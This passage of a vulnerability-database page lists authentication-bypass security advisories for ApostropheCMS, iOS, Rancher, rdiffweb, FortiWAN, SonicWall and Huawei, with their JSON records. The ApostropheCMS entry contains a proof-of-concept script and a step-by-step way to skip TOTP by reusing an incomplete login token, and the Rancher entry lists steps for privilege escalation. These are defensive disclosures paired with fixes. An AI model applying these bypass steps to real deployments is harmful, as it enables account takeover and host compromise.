(BUG! $ne:[] matches [\u0027AposTotp\u0027])\n  false  // fixed: rejected (correct)\n);\nif (bypass1) bypasses.push(\u0027TOTP bypass\u0027);\n\n// 3. Token after all requirements verified (empty array, before $unset)\n// After requirementVerify pulls each requirement from the array\n// Token: { _id: \"xxx\", userId: \"yyy\", requirementsToVerify: [], expires: Date }\ntest(\n  \u0027[Token 3] All requirements verified (empty array) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token3\u0027, userId: \u0027user3\u0027, requirementsToVerify: [], expires: new Date(Date.now() + 86400000) },\n  false, // vulnerable: REJECTED (BUG! $ne:[] does NOT match [])\n  true   // fixed: accepted (correct)\n);\n\n// 4. Finalized token (requirementsToVerify removed via $unset)\n// After finalizeIncompleteLogin calls $unset\n// Token: { _id: \"xxx\", userId: \"yyy\", expires: Date }\ntest(\n  \u0027[Token 4] Finalized token ($unset completed) \u2014 should be ACCEPTED\u0027,\n  { _id: \u0027token4\u0027, userId: \u0027user4\u0027, expires: new Date(Date.now() + 86400000) },\n  true,  // vulnerable: accepted (correct)\n  true   // fixed: accepted (correct)\n);\n\n// 5. Multiple unverified requirements\nconst bypass2 = test(\n  \u0027[Token 5] Multiple unverified requirements \u2014 should be REJECTED\u0027,\n  { _id: \u0027token5\u0027, userId: \u0027user5\u0027, requirementsToVerify: [\u0027AposTotp\u0027, \u0027CustomMFA\u0027], expires: new Date(Date.now() + 3600000) },\n  true,  // vulnerable: ACCEPTED (BUG!)\n  false  // fixed: rejected (correct)\n);\nif (bypass2) bypasses.push(\u0027Multi-requirement bypass\u0027);\n\n// Attack scenario\nconsole.log(`${BOLD}--- Attack Scenario ---${RESET}\\n`);\nconsole.log(`  ${YELLOW}Prerequisites:${RESET}`);\nconsole.log(`    - ApostropheCMS instance with @apostrophecms/login-totp enabled`);\nconsole.log(`    - Attacker knows victim\u0027s username and password`);\nconsole.log(`    - Attacker does NOT know victim\u0027s TOTP code\\n`);\n\nconsole.log(`  ${YELLOW}Step 1:${RESET} Attacker sends login request with valid credentials`);\nconsole.log(`    POST /api/v1/@apostrophecms/login/login`);\nconsole.log(`    {\"username\": \"admin\", \"password\": \"correct_password\", \"session\": false}\\n`);\n\nconsole.log(`  ${YELLOW}Step 2:${RESET} Server verifies password, returns incomplete token`);\nconsole.log(`    Response: {\"incompleteToken\": \"clxxxxxxxxxxxxxxxxxxxxxxxxx\"}`);\nconsole.log(`    (TOTP verification still required)\\n`);\n\nconsole.log(`  ${YELLOW}Step 3:${RESET} Attacker uses incompleteToken as a Bearer token`);\nconsole.log(`    GET /api/v1/@apostrophecms/page`);\nconsole.log(`    Authorization: Bearer clxxxxxxxxxxxxxxxxxxxxxxxxx\\n`);\n\nconsole.log(`  ${YELLOW}Step 4:${RESET} Bearer token middleware runs getBearer() query`);\nconsole.log(`    MongoDB query: {`);\nconsole.log(`      _id: \"clxxxxxxxxxxxxxxxxxxxxxxxxx\",`);\nconsole.log(`      expires: { $gte: new Date() },`);\nconsole.log(`      $or: [`);\nconsole.log(`        { requirementsToVerify: { $exists: false } },`);\nconsole.log(`        { requirementsToVerify: { ${RED}$ne: []${RESET} } }  // BUG!`);\nconsole.log(`      ]`);\nconsole.log(`    }`);\nconsole.log(`    The token has requirementsToVerify: [\"AposTotp\"]`);\nconsole.log(`    $ne: [] matches because [\"AposTotp\"] !== []\\n`);\n\nconsole.log(`  ${RED}Step 5: Attacker is fully authenticated as the victim!${RESET}`);\nconsole.log(`    req.user is set, req.csrfExempt = true`);\nconsole.log(`    Full API access without TOTP verification\\n`);\n\n// Summary\nconsole.log(`${BOLD}${\u0027=\u0027.repeat(64)}`);\nconsole.log(`Summary`);\nconsole.log(`${\u0027=\u0027.repeat(64)}${RESET}`);\nconsole.log(`  ${bypasses.length} bypass vector(s) confirmed: ${bypasses.join(\u0027, \u0027)}\\n`);\nconsole.log(`  ${YELLOW}Root Cause:${RESET} @apostrophecms/express/index.js line 388`);\nconsole.log(`  The MongoDB query uses $ne: [] which matches NON-empty arrays.`);\nconsole.log(`  The comment says the array should be \"empty or inexistant\",`);\nconsole.log(`  but $ne: [] matches exactly the opposite \u2014 non-empty arrays.\\n`);\nconsole.log(`  ${YELLOW}Vulnerable code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $ne: [] } }  // BUG`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${YELLOW}Fixed code:${RESET}`);\nconsole.log(`    $or: [`);\nconsole.log(`      { requirementsToVerify: { $exists: false } },`);\nconsole.log(`      { requirementsToVerify: { $size: 0 } }  // FIX`);\nconsole.log(`    ]\\n`);\nconsole.log(`  ${RED}Impact:${RESET} Complete MFA bypass. An attacker who knows a user\u0027s`);\nconsole.log(`  password can skip TOTP verification and gain full authenticated`);\nconsole.log(`  API access by using the incompleteToken as a bearer token.\\n`);\nconsole.log(`  ${YELLOW}Additional Bug:${RESET} The same $ne:[] also causes a secondary`);\nconsole.log(`  issue where tokens with ALL requirements verified (empty array,`);\nconsole.log(`  before the $unset runs) are incorrectly REJECTED. This is masked`);\nconsole.log(`  by the fact that finalizeIncompleteLogin uses $unset to remove`);\nconsole.log(`  the field entirely, so the $exists: false path is used instead.`);\nconsole.log();\nconsole.log();\n\n```\n\nBoth bypass vectors (single and multiple unverified requirements) confirmed.\n\n## Amplifying Bug: Incorrect Token Deletion in `finalizeIncompleteLogin`\n\nA second bug in `@apostrophecms/login/index.js` (lines 728-729, 735-736) amplifies the MFA bypass. When `finalizeIncompleteLogin` attempts to delete the incomplete token, it uses the wrong identifier:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token.userId  // BUG: should be token._id\n});\n```\n\nThe token\u0027s `_id` is a CUID (e.g., `clxxxxxxxxx`), but `token.userId` is the user\u0027s document ID. This means:\n\n1. The incomplete token is **never deleted** from the database, even after a legitimate MFA-verified login\n2. Combined with the `$ne: []` bug, the incomplete token remains usable as a bearer token for its full lifetime (default: 1 hour)\n3. Even if the legitimate user completes TOTP and logs in properly, the incomplete token persists\n\nThis bug appears at two locations in `finalizeIncompleteLogin`:\n- Line 728-729: Error case (user not found)\n- Line 735-736: Success case (session-based login after MFA)\n\n## Recommended Fix\n\n### Fix 1: Bearer token query (express/index.js line 388)\n\nReplace `$ne: []` with `$size: 0`:\n\n```javascript\n$or: [\n    { requirementsToVerify: { $exists: false } },\n    { requirementsToVerify: { $size: 0 } }  // FIX: match empty array only\n]\n```\n\nThis ensures only tokens with no remaining requirements (empty array or absent field) are accepted as valid bearer tokens.\n\n### Fix 2: Token deletion (login/index.js lines 728-729, 735-736)\n\nReplace `token.userId` with `token._id`:\n\n```javascript\nawait self.bearerTokens.removeOne({\n    _id: token._id  // FIX: use the token\u0027s actual ID\n});\n```",
  "id": "GHSA-v9xm-ffx2-7h35",
  "modified": "2026-03-19T21:14:07Z",
  "published": "2026-03-18T19:48:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-v9xm-ffx2-7h35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32730"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS MFA/TOTP Bypass via Incorrect MongoDB Query in Bearer Token Middleware"
}

GHSA-VHF9-V5PF-QMCG

Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-11-04 00:32
VLAI
Details

This issue was addressed through improved state management. This issue is fixed in iOS 18.4 and iPadOS 18.4, iPadOS 17.7.6. Photos in the Hidden Photos Album may be viewed without authentication.

Severity
5.4 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-30428"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:25Z",
    "severity": "MODERATE"
  },
  "details": "This issue was addressed through improved state management. This issue is fixed in iOS 18.4 and iPadOS 18.4, iPadOS 17.7.6. Photos in the Hidden Photos Album may be viewed without authentication.",
  "id": "GHSA-vhf9-v5pf-qmcg",
  "modified": "2025-11-04T00:32:22Z",
  "published": "2025-04-01T00:30:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30428"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122371"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122372"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/4"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VX8H-4PRV-G744

Vulnerability from github – Published: 2026-07-01 20:57 – Updated: 2026-07-01 20:57
VLAI
Summary
Rancher has Privilege Escalation from Project Owner to Host
Details

Impact

A vulnerability has been identified in Rancher Manager that allows users assigned the Project Owner role to modify Pod Security Admission (PSA) labels on namespaces within their projects. Under the default role configuration, an attacker with the following access pattern can exploit this issue: 1. Cluster Access: The user is granted Cluster Member access. 2. Project Ownership: The user creates or is assigned ownership of a project. 3. Namespace Creation: The user creates a namespace within that project. 4. PSA Modification: The user modifies the namespace PSA configuration to use the privileged profile. 5. Privilege Escalation: The user deploys privileged workloads within the namespace.

As outlined in the Kubernetes Pod Security Standards documentation, privileged containers disable core Kubernetes security protections, allowing workloads to bypass standard container isolation boundaries. This can result in privilege escalation within the cluster environment.

Potential impacts include: - Deployment of privileged containers - Access to host-level resources - Container breakout - Cluster privilege escalation - Compromise of workloads running on affected nodes

Please refer to the associated MITRE ATT&CK techniques for further information about this category of attack: - Deploy Container - Escape to Host - Exploitation for Privilege Escalation

Reference: Kubernetes Pod Security Standards — Privileged Profile

Patches

This vulnerability is resolved by modifying the project-owner role to explicitly define the allowed verbs for projects resources instead of using the wildcard (*) permission.

The updated role configuration removes access to the updatepsa verb. This prevents project owners from modifying PSA settings in a manner that could enable privilege escalation.

Patched versions of Rancher include releases v2.12.10, v2.13.6, and v2.14.2.

Workarounds

If upgrading is not immediately possible, administrators should create a custom project role based on the existing Project Owner role, while removing unrestricted wildcard permissions for project resources.

The allowed verbs for projects should be restricted to: “get, update, delete, patch, create, list, watch, deletecollection” instead of “*”.

This prevents access to the updatepsa capability that enables the privilege escalation path.

References

If you have any questions or comments about this advisory: - Reach out to the SUSE Rancher Security team for security related inquiries. - Open an issue in the Rancher repository. - Verify with our support matrix and product support lifecycle.

Severity
8.4 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H
9.4 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/rancher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.14.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/rancher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.13.0"
            },
            {
              "fixed": "2.13.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/rancher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.12.0"
            },
            {
              "fixed": "2.12.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/rancher/rancher"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260513182521-2800aaac25b5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41052"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:57:49Z",
    "nvd_published_at": "2026-06-29T16:16:39Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n\nA vulnerability has been identified in Rancher Manager that allows users assigned the Project Owner role to modify Pod Security Admission (PSA) labels on namespaces within their projects. Under the default role configuration, an attacker with the following access pattern can exploit this issue:\n1. **Cluster Access:** The user is granted Cluster Member access.\n2. **Project Ownership:** The user creates or is assigned ownership of a project.\n3. **Namespace Creation:** The user creates a namespace within that project.\n4. **PSA Modification:** The user modifies the namespace PSA configuration to use the privileged profile.\n5. **Privilege Escalation:** The user deploys privileged workloads within the namespace.\n\nAs outlined in the [Kubernetes Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/) documentation, `privileged` containers disable core Kubernetes security protections, allowing workloads to bypass standard container isolation boundaries. This can result in privilege escalation within the cluster environment.\n\nPotential impacts include:\n- Deployment of privileged containers\n- Access to host-level resources\n- Container breakout\n- Cluster privilege escalation\n- Compromise of workloads running on affected nodes\n\nPlease refer to the associated MITRE ATT\u0026CK techniques for further information about this category of attack:\n- [Deploy Container](https://attack.mitre.org/techniques/T1610/)\n- [Escape to Host](https://attack.mitre.org/techniques/T1611/)\n- [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)\n\nReference:\n[Kubernetes Pod Security Standards \u2014 Privileged Profile](https://kubernetes.io/docs/concepts/security/pod-security-standards/#privileged)\n\n### Patches\nThis vulnerability is resolved by modifying the `project-owner` role to explicitly define the allowed verbs for `projects` resources instead of using the wildcard `(*)` permission.\n\nThe updated role configuration removes access to the `updatepsa` verb. This prevents project owners from modifying PSA settings in a manner that could enable privilege escalation.\n\nPatched versions of Rancher include releases `v2.12.10`, `v2.13.6`, and `v2.14.2`.\n\n### Workarounds\nIf upgrading is not immediately possible, administrators should create a custom project role based on the existing Project Owner role, while removing unrestricted wildcard permissions for project resources.\n\nThe allowed verbs for projects should be restricted to: \u201c`get`, `update`, `delete`, `patch`, `create`, `list`, `watch`, `deletecollection`\u201d instead of \u201c`*`\u201d.\n\nThis prevents access to the `updatepsa` capability that enables the privilege escalation path.\n\n### References\nIf you have any questions or comments about this advisory:\n- Reach out to the [SUSE Rancher Security team](https://github.com/rancher/rancher/security/policy) for security related inquiries.\n- Open an issue in the [Rancher](https://github.com/rancher/rancher/issues/new/choose) repository.\n- Verify with our [support matrix](https://www.suse.com/suse-rancher/support-matrix/all-supported-versions/) and [product support lifecycle](https://www.suse.com/lifecycle/).",
  "id": "GHSA-vx8h-4prv-g744",
  "modified": "2026-07-01T20:57:49Z",
  "published": "2026-07-01T20:57:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/rancher/rancher/security/advisories/GHSA-vx8h-4prv-g744"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41052"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rancher/rancher/pull/55061"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rancher/rancher/commit/2800aaac25b5a2c448f800e1f46d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/rancher/rancher"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Rancher has Privilege Escalation from Project Owner to Host"
}

GHSA-WF33-6X33-WCF9

Vulnerability from github – Published: 2022-12-27 15:30 – Updated: 2024-10-25 21:41
VLAI
Summary
rdiffweb vulnerable to Authentication Bypass by Primary Weakness
Details

In rdiffweb prior to 2.5.5, the username field is not unique to users. This allows exploitation of primary key logic by creating the same name with different combinations & may allow unauthorized access.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
8.6 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rdiffweb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4722"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-305"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-30T18:01:28Z",
    "nvd_published_at": "2022-12-27T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "In rdiffweb prior to 2.5.5, the username field is not unique to users. This allows exploitation of primary key logic by creating the same name with different combinations \u0026 may allow unauthorized access.",
  "id": "GHSA-wf33-6x33-wcf9",
  "modified": "2024-10-25T21:41:19Z",
  "published": "2022-12-27T15:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4722"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ikus060/rdiffweb/commit/d1aaa96b665a39fba9e98d6054a9de511ba0a837"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ikus060/rdiffweb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rdiffweb/PYSEC-2022-43008.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/c62126dc-d9a6-4d3e-988d-967031876c58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "rdiffweb vulnerable to Authentication Bypass by Primary Weakness"
}

GHSA-WWQ6-XMJH-4F52

Vulnerability from github – Published: 2024-12-19 15:31 – Updated: 2024-12-19 15:31
VLAI
Details

A relative path traversal vulnerability (CWE-23) in FortiWAN version 4.5.7 and below, 4.4 all versions may allow a remote non-authenticated attacker to delete files on the system by sending a crafted POST request. In particular, deleting specific configuration files will reset the Admin password to its default value.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-26102"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-19T14:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "A relative path traversal vulnerability (CWE-23) in FortiWAN version 4.5.7 and below, 4.4 all versions may allow a remote non-authenticated attacker to delete files on the system by sending a crafted POST request. In particular, deleting specific configuration files will reset the Admin password to its default value.",
  "id": "GHSA-wwq6-xmjh-4f52",
  "modified": "2024-12-19T15:31:11Z",
  "published": "2024-12-19T15:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26102"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-21-048"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XC4X-F462-G6P7

Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2025-02-13 18:31
VLAI
Details

The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-34124"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-13T01:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions.",
  "id": "GHSA-xc4x-f462-g6p7",
  "modified": "2025-02-13T18:31:40Z",
  "published": "2023-07-13T03:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34124"
    },
    {
      "type": "WEB",
      "url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2023-0010"
    },
    {
      "type": "WEB",
      "url": "https://www.sonicwall.com/support/notices/230710150218060"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/174571/Sonicwall-GMS-9.9.9320-Remote-Code-Execution.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XFG3-G2VF-G46C

Vulnerability from github – Published: 2025-07-07 03:30 – Updated: 2025-07-07 03:30
VLAI
Details

Authentication vulnerability in the distributed collaboration framework module Impact: Successful exploitation of this vulnerability may affect service confidentiality.

Severity
6.9 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-53167"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-305"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-07T03:15:27Z",
    "severity": "MODERATE"
  },
  "details": "Authentication vulnerability in the distributed collaboration framework module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
  "id": "GHSA-xfg3-g2vf-g46c",
  "modified": "2025-07-07T03:30:22Z",
  "published": "2025-07-07T03:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53167"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2025/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list